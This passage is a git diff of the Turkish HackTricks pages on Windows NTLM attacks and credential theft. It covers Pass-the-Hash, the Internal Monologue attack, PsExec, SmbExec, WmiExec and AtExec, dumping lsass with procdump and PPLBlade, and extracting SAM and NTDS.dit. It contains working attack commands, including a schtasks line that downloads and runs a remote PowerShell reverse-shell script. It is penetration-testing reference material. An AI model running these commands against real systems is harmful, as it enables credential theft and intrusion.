**enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır. **Lütfen, Pass-the-Hash saldırılarını Bilgisayar hesapları kullanarak da gerçekleştirebileceğinizi unutmayın.** @@ -176,7 +176,7 @@ Bu **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** k ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` -Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametreleri içindeki kimlik bilgileridir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (şifreyi düz metin olarak bilmenize gerek olmayan `runas /netonly` numarasına benzer). +Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametreleri içindeki kimlik bilgileridir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (şifreyi bilmenize gerek olmadan `runas /netonly` numarasına benzer). ### Linux'tan Pass-the-Hash @@ -189,8 +189,8 @@ Linux'tan Pass-the-Hash kullanarak Windows makinelerinde kod yürütme elde edeb - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` -- **atexec.exe** (Bu durumda bir komut belirtmeniz gerekir, cmd.exe ve powershell.exe etkileşimli bir shell elde etmek için geçerli değildir)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` -- Daha fazla Impacket ikili dosyası bulunmaktadır... +- **atexec.exe** (Bu durumda bir komut belirtmeniz gerekir, cmd.exe ve powershell.exe etkileşimli bir kabuk elde etmek için geçerli değildir)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` +- Daha fazla Impacket ikili dosyası var... ### Invoke-TheHash @@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -Bu fonksiyon **diğerlerinin hepsinin karışımıdır**. **Birden fazla host** geçirebilir, bazılarını **hariç tutabilir** ve kullanmak istediğiniz **seçeneği** **seçebilirsiniz** (_SMBExec, WMIExec, SMBClient, SMBEnum_). **SMBExec** ve **WMIExec**'den **herhangi birini** seçerseniz ancak _**Command**_ parametresi vermezseniz, sadece **yeterli izinlere** sahip olup olmadığınızı **kontrol eder**. +Bu fonksiyon **diğerlerinin karışımıdır**. **Birden fazla host** geçirebilir, bazılarını **hariç tutabilir** ve kullanmak istediğiniz **seçeneği** **seçebilirsiniz** (_SMBExec, WMIExec, SMBClient, SMBEnum_). **SMBExec** ve **WMIExec**'den **herhangi birini** seçerseniz ancak _**Command**_ parametresi vermezseniz, sadece **yeterli izinlere** sahip olup olmadığınızı **kontrol eder**. ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` @@ -236,9 +236,21 @@ wce.exe -s ::: ## Bir Windows Anahtarından Kimlik Bilgilerini Çıkarma -**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bu sayfayı okumalısınız.** +**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bu sayfayı okumalısınız** [**buraya**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** -## NTLM İletimi ve Yanıtlayıcı +## İçsel Monolog saldırısı + +İçsel Monolog Saldırısı, bir saldırganın kurbanın makinesinden NTLM hash'lerini **LSASS süreci ile doğrudan etkileşime girmeden** almasına olanak tanıyan gizli bir kimlik bilgisi çıkarma tekniğidir. Mimikatz'ın doğrudan bellekten hash'leri okumasının aksine ve genellikle uç nokta güvenlik çözümleri veya Credential Guard tarafından engellenen bu saldırı, **Güvenlik Destek Sağlayıcı Arayüzü (SSPI) aracılığıyla NTLM kimlik doğrulama paketine (MSV1_0) yerel çağrılar yapar**. Saldırgan önce **NTLM ayarlarını düşürür** (örneğin, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) ve NetNTLMv1'in izinli olduğundan emin olur. Ardından, çalışan süreçlerden elde edilen mevcut kullanıcı token'larını taklit eder ve bilinen bir meydan okuma kullanarak yerel olarak NTLM kimlik doğrulamasını tetikler. + +Bu NetNTLMv1 yanıtlarını yakaladıktan sonra, saldırgan **önceden hesaplanmış rainbow tabloları** kullanarak orijinal NTLM hash'lerini hızlı bir şekilde geri alabilir ve yan hareketler için daha fazla Pass-the-Hash saldırılarına olanak tanır. Kritik olarak, İçsel Monolog Saldırısı, ağ trafiği oluşturmadığı, kod enjekte etmediği veya doğrudan bellek dökümünü tetiklemediği için gizli kalır; bu da savunucuların geleneksel yöntemler olan Mimikatz'a kıyasla tespit etmesini zorlaştırır. + +Eğer NetNTLMv1 kabul edilmezse—zorunlu güvenlik politikaları nedeniyle, saldırgan bir NetNTLMv1 yanıtı elde edemeyebilir. + +Bu durumu ele almak için, İçsel Monolog aracı güncellendi: `AcceptSecurityContext()` kullanarak dinamik olarak bir sunucu token'ı alır ve NetNTLMv1 başarısız olursa **NetNTLMv2 yanıtlarını yakalamaya** devam eder. NetNTLMv2 kırılması çok daha zor olsa da, yine de sınırlı durumlarda iletim saldırıları veya çevrimdışı kaba kuvvet için bir yol açar. + +PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)** adresinde bulunabilir. + +## NTLM İletim ve Yanıtlayıcı **Bu saldırıları nasıl gerçekleştireceğiniz hakkında daha ayrıntılı bir kılavuzu burada okuyun:** @@ -246,8 +258,8 @@ wce.exe -s ::: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -## Bir ağ yakalamasından NTLM zorluklarını ayrıştırma +## Bir ağ yakalamasından NTLM meydan okumalarını ayrıştırma -**Bunu kullanabilirsiniz** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) +**Şunu kullanabilirsiniz** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/atexec.md b/src/windows-hardening/ntlm/atexec.md deleted file mode 100644 index 72c1605b5..000000000 --- a/src/windows-hardening/ntlm/atexec.md +++ /dev/null @@ -1,27 +0,0 @@ -# AtExec / SchtasksExec - -{{#include ../../banners/hacktricks-training.md}} - -## Nasıl Çalışır - -At, kullanıcı adı/(şifre/Hash) bildiğiniz hostlarda görevleri planlamanıza olanak tanır. Böylece, diğer hostlarda komutlar çalıştırmak ve çıktıyı almak için bunu kullanabilirsiniz. -``` -At \\victim 11:00:00PM shutdown -r -``` -schtasks kullanarak önce görevi oluşturmanız ve ardından çağırmanız gerekir: -```bash -schtasks /create /n /tr C:\path\executable.exe /sc once /st 00:00 /S /RU System -schtasks /run /tn /S -``` - -```bash -schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" -schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local -``` -Ayrıca [SharpLateral](https://github.com/mertdas/SharpLateral) kullanabilirsiniz: -```bash -SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName -``` -Daha fazla bilgi için [**schtasks kullanımına ilişkin gümüş biletler burada**](../active-directory-methodology/silver-ticket.md#host). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index a443cdb2b..69de01ad1 100644 --- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) adresinden tüm harika fikirleri kontrol edin** -çevrimiçi bir microsoft word dosyasının indirilmesinden ntlm sızıntı kaynaklarına: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md +**Microsoft Word dosyasının çevrimiçi indirilmesinden NTLM sızıntı kaynaklarına kadar [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) adresinden harika fikirleri kontrol edin: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md ve [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)** + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md deleted file mode 100644 index 70ddd36b5..000000000 --- a/src/windows-hardening/ntlm/psexec-and-winexec.md +++ /dev/null @@ -1,38 +0,0 @@ -# PsExec/Winexec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## Nasıl çalışırlar - -Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının nasıl manipüle edildiğini gösterir, böylece SMB üzerinden hedef makinede uzaktan yürütme sağlanır: - -1. **Bir hizmet ikili dosyasının ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir. -2. **Uzaktaki makinede bir hizmetin oluşturulması**, ikili dosyaya işaret edilerek yapılır. -3. Hizmet **uzaktan başlatılır**. -4. Çıkışta, hizmet **durdurulur ve ikili dosya silinir**. - -### **PsExec'i Manuel Olarak Çalıştırma Süreci** - -Antivirüs tespitinden kaçınmak için msfvenom ile oluşturulmuş ve Veil kullanılarak obfuscate edilmiş bir yürütülebilir yük olduğunu varsayalım, 'met8888.exe' adında, bir meterpreter reverse_http yükünü temsil eder, aşağıdaki adımlar izlenir: - -- **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sisteminde gizli kalmak için herhangi bir yere yerleştirilebilir. - -- **Bir hizmetin oluşturulması**: Windows `sc` komutunu kullanarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan, yüklenen ikili dosyaya işaret eden "meterpreter" adında bir hizmet oluşturulur. - -- **Hizmetin başlatılması**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir. - -Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığını gösterecektir. - -[sc komutu hakkında daha fazla bilgi edinin](https://technet.microsoft.com/en-us/library/bb490995.aspx). - -Daha ayrıntılı adımları bulabilirsiniz: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -**Windows Sysinternals ikili dosyası PsExec.exe'yi de kullanabilirsiniz:** - -![](<../../images/image (165).png>) - -Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz: -``` -SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md deleted file mode 100644 index 5e4f1066e..000000000 --- a/src/windows-hardening/ntlm/smbexec.md +++ /dev/null @@ -1,36 +0,0 @@ -# SmbExec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## Nasıl Çalışır - -**Smbexec**, Windows sistemlerinde uzaktan komut yürütmek için kullanılan bir araçtır, **Psexec**'e benzer, ancak hedef sistemde herhangi bir zararlı dosya bırakmaktan kaçınır. - -### **SMBExec** Hakkında Ana Noktalar - -- Hedef makinede cmd.exe (%COMSPEC%) aracılığıyla komutları yürütmek için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmaz. -- Gizli yaklaşımına rağmen, yürütülen her komut için olay günlükleri oluşturur ve bu, etkileşimsiz bir "shell" biçimi sunar. -- **Smbexec** kullanarak bağlanma komutu şu şekildedir: -```bash -smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 -``` -### Binariesiz Komut Çalıştırma - -- **Smbexec**, hedefte fiziksel binary'lere ihtiyaç duymadan, hizmet binPath'leri aracılığıyla doğrudan komut yürütmeyi sağlar. -- Bu yöntem, bir Windows hedefinde tek seferlik komutlar yürütmek için faydalıdır. Örneğin, Metasploit'in `web_delivery` modülü ile birleştirildiğinde, PowerShell hedefli ters Meterpreter yükünün yürütülmesini sağlar. -- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükün başarılı bir şekilde yürütülmesini sağlar; bu, hizmet yanıt hataları olsa bile Metasploit dinleyicisi ile geri çağırma ve yük yürütme elde edilir. - -### Komut Örneği - -Hizmeti oluşturmak ve başlatmak aşağıdaki komutlarla gerçekleştirilebilir: -```bash -sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" -sc start [ServiceName] -``` -Daha fazla detay için kontrol edin [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## Referanslar - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/winrm.md b/src/windows-hardening/ntlm/winrm.md deleted file mode 100644 index 8bbd797cd..000000000 --- a/src/windows-hardening/ntlm/winrm.md +++ /dev/null @@ -1,7 +0,0 @@ -# WinRM - -{{#include ../../banners/hacktricks-training.md}} - -[**WinRM hakkında bilgi için bu sayfayı okuyun**](../../network-services-pentesting/5985-5986-pentesting-winrm.md). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md deleted file mode 100644 index fe12695ad..000000000 --- a/src/windows-hardening/ntlm/wmiexec.md +++ /dev/null @@ -1,110 +0,0 @@ -# WmiExec - -{{#include ../../banners/hacktricks-training.md}} - -## Nasıl Çalıştığı Açıklandı - -Kullanıcı adı ve ya şifre ya da hash bilindiğinde, WMI kullanılarak hostlarda süreçler açılabilir. Komutlar Wmiexec tarafından WMI kullanılarak yürütülür ve yarı etkileşimli bir shell deneyimi sağlar. - -**dcomexec.py:** Farklı DCOM uç noktalarını kullanarak, bu script wmiexec.py'ye benzer yarı etkileşimli bir shell sunar ve özellikle ShellBrowserWindow DCOM nesnesini kullanır. Şu anda MMC20'yi desteklemektedir. Uygulama, Shell Windows ve Shell Browser Window nesneleri. (kaynak: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) - -## WMI Temelleri - -### Namespace - -Dizin tarzı bir hiyerarşi içinde yapılandırılmış olan WMI'nın en üst düzey konteyneri \root'tur, altında namespace olarak adlandırılan ek dizinler organize edilmiştir. -Namespace'leri listelemek için komutlar: -```bash -# Retrieval of Root namespaces -gwmi -namespace "root" -Class "__Namespace" | Select Name - -# Enumeration of all namespaces (administrator privileges may be required) -Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace - -# Listing of namespaces within "root\cimv2" -Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace -``` -Bir ad alanı içindeki sınıflar şu şekilde listelenebilir: -```bash -gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified -gwmi -Namespace "root/microsoft" -List -Recurse -``` -### **Sınıflar** - -Bir WMI sınıf adını, örneğin win32_process, ve bulunduğu ad alanını bilmek, herhangi bir WMI işlemi için çok önemlidir. -`win32` ile başlayan sınıfları listelemek için komutlar: -```bash -Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2" -gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" -``` -Bir sınıfın çağrılması: -```bash -# Defaults to "root/cimv2" when namespace isn't specified -Get-WmiObject -Class win32_share -Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus -``` -### Yöntemler - -WMI sınıflarının bir veya daha fazla yürütülebilir işlevi olan yöntemler, çalıştırılabilir. -```bash -# Class loading, method listing, and execution -$c = [wmiclass]"win32_share" -$c.methods -# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description") -``` - -```bash -# Method listing and invocation -Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) -``` -## WMI Sınıflandırması - -### WMI Servis Durumu - -WMI servisinin çalışıp çalışmadığını doğrulamak için komutlar: -```bash -# WMI service status check -Get-Service Winmgmt - -# Via CMD -net start | findstr "Instrumentation" -``` -### Sistem ve Süreç Bilgisi - -WMI aracılığıyla sistem ve süreç bilgilerini toplama: -```bash -Get-WmiObject -ClassName win32_operatingsystem | select * | more -Get-WmiObject win32_process | Select Name, Processid -``` -Saldırganlar için WMI, sistemler veya alanlar hakkında hassas verileri listelemek için güçlü bir araçtır. -```bash -wmic computerystem list full /format:list -wmic process list /format:list -wmic ntdomain list /format:list -wmic useraccount list /format:list -wmic group list /format:list -wmic sysaccount list /format:list -``` -Uzak bir makinedeki yerel yöneticiler veya oturum açmış kullanıcılar gibi belirli bilgileri almak için WMI'yi uzaktan sorgulamak, dikkatli komut yapısı ile mümkündür. - -### **Manuel Uzaktan WMI Sorgulama** - -Uzak bir makinedeki yerel yöneticilerin ve oturum açmış kullanıcıların gizli bir şekilde tanımlanması, belirli WMI sorguları aracılığıyla gerçekleştirilebilir. `wmic`, aynı zamanda bir metin dosyasından okuma yaparak birden fazla düğümde komutları aynı anda çalıştırmayı destekler. - -WMI üzerinden bir işlemi uzaktan yürütmek için, örneğin bir Empire ajanı dağıtmak için, aşağıdaki komut yapısı kullanılır; başarılı bir yürütme, "0" döndürme değeri ile gösterilir: -```bash -wmic /node:hostname /user:user path win32_process call create "empire launcher string here" -``` -Bu süreç, WMI'nin uzaktan yürütme ve sistem sayımı yeteneğini göstermekte olup, hem sistem yönetimi hem de penetrasyon testi için faydasını vurgulamaktadır. - -## Referanslar - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## Otomatik Araçlar - -- [**SharpLateral**](https://github.com/mertdas/SharpLateral): -```bash -SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md index 820bf35d0..d96fe84e8 100644 --- a/src/windows-hardening/stealing-credentials/README.md +++ b/src/windows-hardening/stealing-credentials/README.md @@ -49,14 +49,18 @@ mimikatz_command -f "lsadump::sam" ### Procdump + Mimikatz -**Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**, meşru bir Microsoft aracıdır**, Defender tarafından tespit edilmez.\ -Bu aracı kullanarak **lsass sürecini dökebilir**, **dökümü indirebilir** ve **dökümden** **kimlik bilgilerini yerel olarak çıkarabilirsiniz**. +**Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**, meşru bir Microsoft aracıdır**, bu nedenle Defender tarafından tespit edilmez.\ +Bu aracı kullanarak **lsass sürecini dökebilirsiniz**, **dökümü indirebilir** ve **dökümden** **kimlik bilgilerini yerel olarak çıkarabilirsiniz**. + +Ayrıca [SharpDump](https://github.com/GhostPack/SharpDump) kullanabilirsiniz. ```bash:Dump lsass #Local C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp #Remote, mount https://live.sysinternals.com which contains procdump.exe net use Z: https://live.sysinternals.com Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp +# Get it from webdav +\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` ```c:Extract credentials from the dump @@ -65,14 +69,14 @@ mimikatz # sekurlsa::minidump lsass.dmp //Extract credentials mimikatz # sekurlsa::logonPasswords ``` -Bu işlem otomatik olarak [SprayKatz](https://github.com/aas-n/spraykatz) ile gerçekleştirilir: `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` +Bu işlem otomatik olarak [SprayKatz](https://github.com/aas-n/spraykatz) ile yapılır: `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` -**Not**: Bazı **AV** yazılımları **procdump.exe'nin lsass.exe'yi dökümlemesi** işlemini **kötü amaçlı** olarak **tespit** edebilir, bu da **"procdump.exe" ve "lsass.exe"** dizelerini **tespit** etmelerindendir. Bu nedenle, procdump'a lsass.exe'nin **adı yerine** lsass.exe'nin **PID'sini** **argüman** olarak **geçmek** daha **gizli** bir yöntemdir. +**Not**: Bazı **AV** yazılımları **procdump.exe'nin lsass.exe'yi dökümlemesi** durumunu **kötü amaçlı** olarak **tespit** edebilir, bu da **"procdump.exe" ve "lsass.exe"** dizelerini **tespit** etmelerindendir. Bu nedenle, procdump'a lsass.exe'nin **adı yerine** lsass.exe'nin **PID'sini** **argüman** olarak **geçmek** daha **gizli** bir yöntemdir. -### **comsvcs.dll** ile lsass'ı dökme +### lsass'ı **comsvcs.dll** ile Dökme -`C:\Windows\System32` dizininde bulunan **comsvcs.dll** adlı bir DLL, bir çökme durumunda **işlem belleğini dökmekten** sorumludur. Bu DLL, `rundll32.exe` kullanılarak çağrılmak üzere tasarlanmış **`MiniDumpW`** adlı bir **fonksiyon** içerir.\ -İlk iki argümanı kullanmak önemsizdir, ancak üçüncü argüman üç bileşene ayrılır. Dökülecek işlem kimliği ilk bileşeni, döküm dosyası konumu ikinciyi temsil eder ve üçüncü bileşen kesinlikle **full** kelimesidir. Alternatif seçenek yoktur.\ +`C:\Windows\System32` dizininde bulunan **comsvcs.dll** adlı bir DLL, bir çökme durumunda **işlem belleğini dökmekten** sorumludur. Bu DLL, `rundll32.exe` kullanılarak çağrılması tasarlanan bir **fonksiyon** olan **`MiniDumpW`** içerir.\ +İlk iki argümanı kullanmanın önemi yoktur, ancak üçüncü argüman üç bileşene ayrılır. Dökülecek işlem kimliği ilk bileşeni, döküm dosyası konumu ikinciyi temsil eder ve üçüncü bileşen kesinlikle **full** kelimesidir. Alternatif seçenek yoktur.\ Bu üç bileşen ayrıştırıldığında, DLL döküm dosyasını oluşturmakta ve belirtilen işlemin belleğini bu dosyaya aktarmaktadır.\ **comsvcs.dll** kullanımı, lsass işlemini dökmek için mümkündür, böylece procdump'ı yükleyip çalıştırma ihtiyacı ortadan kalkar. Bu yöntem [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords) adresinde ayrıntılı olarak açıklanmıştır. @@ -98,13 +102,13 @@ Get-Process -Name LSASS ``` ## Dumpin lsass with PPLBlade -[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) Korunan Süreç Döküm Aracı, bellek dökümünü obfuscate etme ve bunu uzaktaki iş istasyonlarına disk üzerine bırakmadan aktarma desteği sunar. +[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) korumalı bir süreç döküm aracı olup, bellek dökümünü obfuscate etme ve bunu uzaktaki iş istasyonlarına diske kaydetmeden aktarma desteği sunar. **Ana işlevler**: 1. PPL korumasını aşma 2. Defender imza tabanlı tespit mekanizmalarından kaçınmak için bellek döküm dosyalarını obfuscate etme -3. Bellek dökümünü RAW ve SMB yükleme yöntemleriyle disk üzerine bırakmadan (dosyasız döküm) yükleme +3. Diske kaydetmeden (dosyasız döküm) RAW ve SMB yükleme yöntemleriyle bellek dökümünü yükleme ```bash PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234 ``` @@ -143,7 +147,7 @@ reg save HKLM\sam sam reg save HKLM\system system reg save HKLM\security security ``` -**Kali makinenize** bu dosyaları **indirin** ve **hash'leri çıkartın**: +**Bu dosyaları** Kali makinenize **indirin** ve **hash'leri çıkartmak için**: ``` samdump2 SYSTEM SAM impacket-secretsdump -sam sam -security security -system system LOCAL @@ -184,27 +188,27 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c ``` ## **Active Directory Kimlik Bilgileri - NTDS.dit** -**NTDS.dit** dosyası, **Active Directory**'nin kalbi olarak bilinir ve kullanıcı nesneleri, gruplar ve bunların üyelikleri hakkında kritik verileri tutar. Bu dosya, alan kullanıcıları için **şifre karma** bilgilerini depolar. Bu dosya, **Genişletilebilir Depolama Motoru (ESE)** veritabanıdır ve **_%SystemRoom%/NTDS/ntds.dit_** konumunda bulunur. +**NTDS.dit** dosyası, **Active Directory**'nin kalbi olarak bilinir ve kullanıcı nesneleri, gruplar ve bunların üyelikleri hakkında kritik verileri tutar. Bu dosya, etki alanı kullanıcıları için **şifre hash'lerinin** saklandığı yerdir. Bu dosya, bir **Genişletilebilir Depolama Motoru (ESE)** veritabanıdır ve **_%SystemRoom%/NTDS/ntds.dit_** konumunda bulunur. Bu veritabanında üç ana tablo bulunmaktadır: -- **Veri Tablosu**: Bu tablo, kullanıcılar ve gruplar gibi nesneler hakkında ayrıntıları depolamakla görevlidir. +- **Veri Tablosu**: Bu tablo, kullanıcılar ve gruplar gibi nesneler hakkında ayrıntıları saklamakla görevlidir. - **Bağlantı Tablosu**: Grup üyelikleri gibi ilişkileri takip eder. -- **SD Tablosu**: Her nesne için **Güvenlik tanımlayıcıları** burada tutulur ve depolanan nesnelerin güvenliği ve erişim kontrolünü sağlar. +- **SD Tablosu**: Her nesne için **Güvenlik tanımlayıcıları** burada tutulur ve saklanan nesnelerin güvenliği ve erişim kontrolünü sağlar. Bunun hakkında daha fazla bilgi: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) -Windows, bu dosyayla etkileşimde bulunmak için _Ntdsa.dll_ kullanır ve _lsass.exe_ tarafından kullanılır. Ardından, **NTDS.dit** dosyasının bir kısmı **`lsass`** belleği içinde bulunabilir (performans iyileştirmesi nedeniyle muhtemelen en son erişilen verileri bulabilirsiniz, çünkü bir **önbellek** kullanılır). +Windows, bu dosyayla etkileşimde bulunmak için _Ntdsa.dll_ kullanır ve _lsass.exe_ tarafından kullanılır. Ardından, **NTDS.dit** dosyasının bir kısmı **`lsass`** belleğinde bulunabilir (performans iyileştirmesi nedeniyle muhtemelen en son erişilen verileri bulabilirsiniz, çünkü bir **önbellek** kullanılır). -#### NTDS.dit içindeki hash'leri çözme +#### NTDS.dit içindeki hash'leri şifre çözme Hash, 3 kez şifrelenmiştir: -1. **BOOTKEY** ve **RC4** kullanarak Şifre Çözme Anahtarını (**PEK**) çözün. -2. **PEK** ve **RC4** kullanarak **hash**'i çözün. -3. **DES** kullanarak **hash**'i çözün. +1. **BOOTKEY** ve **RC4** kullanarak Şifre Çözme Parola Anahtarını (**PEK**) şifre çözme. +2. **PEK** ve **RC4** kullanarak **hash**'i şifre çözme. +3. **DES** kullanarak **hash**'i şifre çözme. -**PEK**, **her alan denetleyicisinde** **aynı değere** sahiptir, ancak **NTDS.dit** dosyası içinde **alan denetleyicisinin SYSTEM dosyasının BOOTKEY**'i kullanılarak **şifrelenmiştir** (alan denetleyicileri arasında farklıdır). Bu nedenle, NTDS.dit dosyasından kimlik bilgilerini almak için **NTDS.dit ve SYSTEM dosyalarına** ihtiyacınız vardır (_C:\Windows\System32\config\SYSTEM_). +**PEK**, **her etki alanı denetleyicisinde** **aynı değere** sahiptir, ancak **etki alanı denetleyicisinin SYSTEM dosyasının BOOTKEY**'i kullanılarak **NTDS.dit** dosyası içinde **şifrelenmiştir** (etki alanı denetleyicileri arasında farklıdır). Bu nedenle, NTDS.dit dosyasından kimlik bilgilerini almak için **NTDS.dit ve SYSTEM dosyalarına** ihtiyacınız vardır (_C:\Windows\System32\config\SYSTEM_). ### Ntdsutil kullanarak NTDS.dit kopyalama @@ -212,7 +216,7 @@ Windows Server 2008'den beri mevcuttur. ```bash ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` -[**Hacim gölgesi 